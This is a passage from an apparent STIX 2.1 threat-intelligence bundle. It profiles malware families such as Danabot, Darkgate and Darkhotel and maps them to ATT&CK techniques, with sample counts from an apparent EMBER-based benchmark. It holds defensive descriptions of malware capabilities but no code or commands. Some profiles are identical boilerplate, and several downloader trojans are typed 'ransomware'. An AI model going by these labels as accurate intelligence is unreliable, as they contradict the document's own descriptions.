unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dalexis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dalexis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95e12bde-e5a3-5662-a1b2-3bab44d969e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalexis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6aa5ce76-d811-572c-ae99-486990655ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalexis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f836cc97-99b7-5752-80d5-9606799bf9a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalexis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1711739-4dea-57cc-9197-6a3ebedf2ce5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalexis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6becd39-2473-502e-8690-922c3b641912",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalexis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be728b21-4409-5926-946e-af56308de070",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dalt",
      "description": "<h3>Executive Summary</h3>\nDalt is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDalt is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dalt operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dalt ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dalt receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dalt infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dalt executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dalt frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dalt",
        "Downloader.Dalt",
        "Win32/Dalt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dalt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dalt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1b6a836-973e-5ba6-ae8e-fa2f17ca5e12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be728b21-4409-5926-946e-af56308de070",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec45ed79-dbd8-53a2-a221-a89fb327704c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be728b21-4409-5926-946e-af56308de070",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fdc2f55-b589-5ee7-ab5b-ef41f903a7e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be728b21-4409-5926-946e-af56308de070",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalt exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e9ca528-767b-556e-bd9b-700f94f341e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Danabot",
      "description": "DanaBot is a sophisticated modular banking trojan, stealer, and loader platform first identified in May 2018 by Proofpoint security researchers. Authored in Embarcadero Delphi, DanaBot is operated under an affiliate-driven Malware-as-a-Service (MaaS) distribution model by Russian-speaking cybercrime groups closely associated with threat actors TA505 and TA511. DanaBot is distributed primarily via high-volume malicious spam (malspam) campaigns mimicking urgent accounting invoices, utility notices, and postal tracking receipts. These emails deliver weaponized Microsoft Office attachments exploiting Equation Editor memory corruption (CVE-2017-11882) or MSHTML remote code execution (CVE-2021-40444), as well as Google Search ad clicks leading to malicious software installers. The architecture of DanaBot is built around a compact primary loader and a suite of dynamically downloaded secondary DLL modules. The loader establishes encrypted communications with C2 nodes over custom binary protocols wrapped in AES and XOR encryption. Uniquely, DanaBot implements a resilient decentralized fallback communication layer utilizing the Bitmessage peer-to-peer network and Tor hidden service routing nodes to receive updated C2 IP addresses in case primary infrastructure is seized. Its operational modules include a browser web-inject module that hooks Chrome, Firefox, and Edge to execute Man-in-the-Browser (MitB) financial diversion; a reverse SOCKS proxy module allowing attackers to funnel unauthorized banking transactions through the victim's residential IP; a custom VNC module for live desktop control; and an aggressive credential-stealing module that extracts passwords, browser cookies, and cryptocurrency wallets from over 50 applications. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DanaBot",
        "Trojan.DanaBot",
        "Win32/DanaBot",
        "Backdoor.DanaBot",
        "Delphi.DanaBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Danabot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/danabot"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dapato",
      "description": "Dapato (cataloged across security vendors as Trojan:Win32/Dapato, Trojan-Dropper.Win32.Dapato, and TrojanDownloader:Win32/Dapato) is a prolific Windows malware dropper and payload downloader tracked in cybercrime telemetry since 2011. Dapato is utilized by threat actors as an initial-stage delivery mechanism to compromise target endpoints and deploy diverse secondary payloads, including banking trojans, cryptocurrency miners, and ransomware. Upon execution, Dapato extracts embedded executable payloads from its resource section, creates temporary files in %TEMP% or %SYSTEM32%, and launches them using process injection or child process invocation. To evade detection, Dapato frequently displays fake Windows error dialogs (such as 'The file is corrupt and cannot be opened') while silently executing its malicious dropper routine in the background. It establishes persistence through scheduled tasks or Run registry entries and initiates outbound HTTP communication with remote command-and-control servers to retrieve updated modules. (Observed samples in benchmark: 197)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dapato",
        "Trojan-Dropper.Win32.Dapato",
        "TrojanDownloader:Win32/Dapato",
        "Win32/Dapato",
        "Trojan.Dapato"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dapato",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dapato"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b98bdf8-a48f-5ebc-8134-0e9fd384ba0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dapato exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e256020-201f-5c7f-a7c2-550982220b15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dapato exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a991ad27-e624-5f55-b6fe-cb21a86d0872",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dapato exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d15c5aa-6414-58be-9871-415925d2be53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dapato exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0b00484-1256-5545-94be-89c5d0d5f4da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c03a81d-161d-58a6-87a6-764afcde3f99",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dapato exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a3a55fa-769e-58af-9a04-ef072c25dbd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkcyrene",
      "description": "<h3>Executive Summary</h3>\nDarkcyrene is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDarkcyrene is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Darkcyrene operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Darkcyrene ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Darkcyrene receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Darkcyrene infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Darkcyrene executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Darkcyrene frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Darkcyrene",
        "Downloader.Darkcyrene",
        "Win32/Darkcyrene"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkcyrene",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkcyrene"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ade3ecf-f798-54e4-8567-13f296ed40ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a3a55fa-769e-58af-9a04-ef072c25dbd1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkcyrene exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bef3f3f7-0847-5922-aca8-07ae07c743d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a3a55fa-769e-58af-9a04-ef072c25dbd1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkcyrene exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ea4ba2d-bbaf-5a82-9b6e-802c47d86ff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a3a55fa-769e-58af-9a04-ef072c25dbd1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkcyrene exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkgate",
      "description": "DarkGate is an evasive, commercial Malware-as-a-Service (MaaS) loader and remote access platform developed by a cybercriminal known as 'RastaFarEye'. Active privately since 2018, DarkGate transitioned to high-volume underground commercial rental in mid-2023 following the disruption of Qakbot, charging affiliates up to $100,000 annually. DarkGate is engineered with advanced defensive evasion capabilities, employing AutoIt script interpreters, multi-stage VBScript / HTA droppers, and DLL side-loading using legitimate signed binaries. It features hidden VNC for remote desktop surveillance, cryptocurrency wallet theft, browser credential extraction, reverse proxy tunneling, and arbitrary payload execution. DarkGate is delivered via malvertising (Google Ads hijacking for products like AnyDesk, Advanced IP Scanner), compromised Microsoft Teams phishing messages delivering malicious LNK files, and weaponized PDF/Excel attachments. In 2024, CISA and international cybersecurity partners issued multiple joint advisories detailing DarkGate's role as an initial access broker for enterprise ransomware syndicates including BlackCat/ALPHV and Quantum. (Observed samples in benchmark: 1,205)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DarkGate",
        "meh_crypter",
        "dark_gate",
        "Win32/DarkGate",
        "DarkGate RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkgate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkgate"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9d32ec4-d7c1-5cd4-9675-fa6ed22c6ebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b826adb-e95a-5ab7-856d-614113f9e14e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--826754d2-87b9-51ef-9b61-2ea8c582dfe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c30219d8-1725-505b-a4c6-ae8bb688109d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73114e55-b206-5b85-b76e-1237555f5be2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--981e83ac-c835-5734-85af-4f95cc33d2c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--703da2ca-8979-54fe-8356-3ea2b8feb3cc",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkgate exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkhotel",
      "description": "Backdoor:Win32/Darkhotel is an advanced, highly surgical cyber-espionage threat campaign and modular backdoor active since at least 2007, first publicly revealed by Kaspersky Lab researchers in November 2014. The group specializes in targeted intrusions against high-ranking corporate executives, CEOs, defense contractors, top venture capitalists, and government diplomats staying at luxury hotels across Asia and Europe. Darkhotel infiltrates luxury hotel Wi-Fi networks and guest authentication portals, tracking target guest reservations and serving deceptive fake software updates (masquerading as Google Toolbar, Adobe Flash Player, or Windows Messenger) signed with stolen, legitimate commercial code-signing digital certificates (including compromised 512-bit and 1024-bit MD5 certificates). Once installed on executive laptops, the Darkhotel backdoor deploys modular keyloggers, credential harvesters, and selective document exfiltration components, subsequently deleting all staging files from hotel network infrastructure to evade detection. Darkhotel also executes targeted spear-phishing campaigns delivering zero-day exploits (including CVE-2010-0188 and CVE-2014-0322) against high-profile political and economic targets. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Darkhotel",
        "APT.Darkhotel",
        "Trojan.Darkhotel",
        "Tapaoux",
        "Fallout",
        "Karba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkhotel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkhotel"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1195.002: Compromise Software Supply Chain",
      "description": "MITRE ATT&CK Technique T1195.002 (Compromise Software Supply Chain) under tactic initial-access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1195.002",
          "url": "https://attack.mitre.org/techniques/T1195/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e041fc65-3339-5a0e-aec2-5b26f519fc17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1195.002 (Compromise Software Supply Chain)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa67896-caa9-5408-8413-d587f32876d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1553.002: Code Signing",
      "description": "MITRE ATT&CK Technique T1553.002 (Code Signing) under tactic defense-evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1553.002",
          "url": "https://attack.mitre.org/techniques/T1553/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d5c9ddb-e80c-5b10-b66e-a1b88c1adc80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1553.002 (Code Signing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f9c0278-31fb-5bec-be84-c6d7cf6391ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1b687b3-1296-5993-8f23-4d6576d99666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
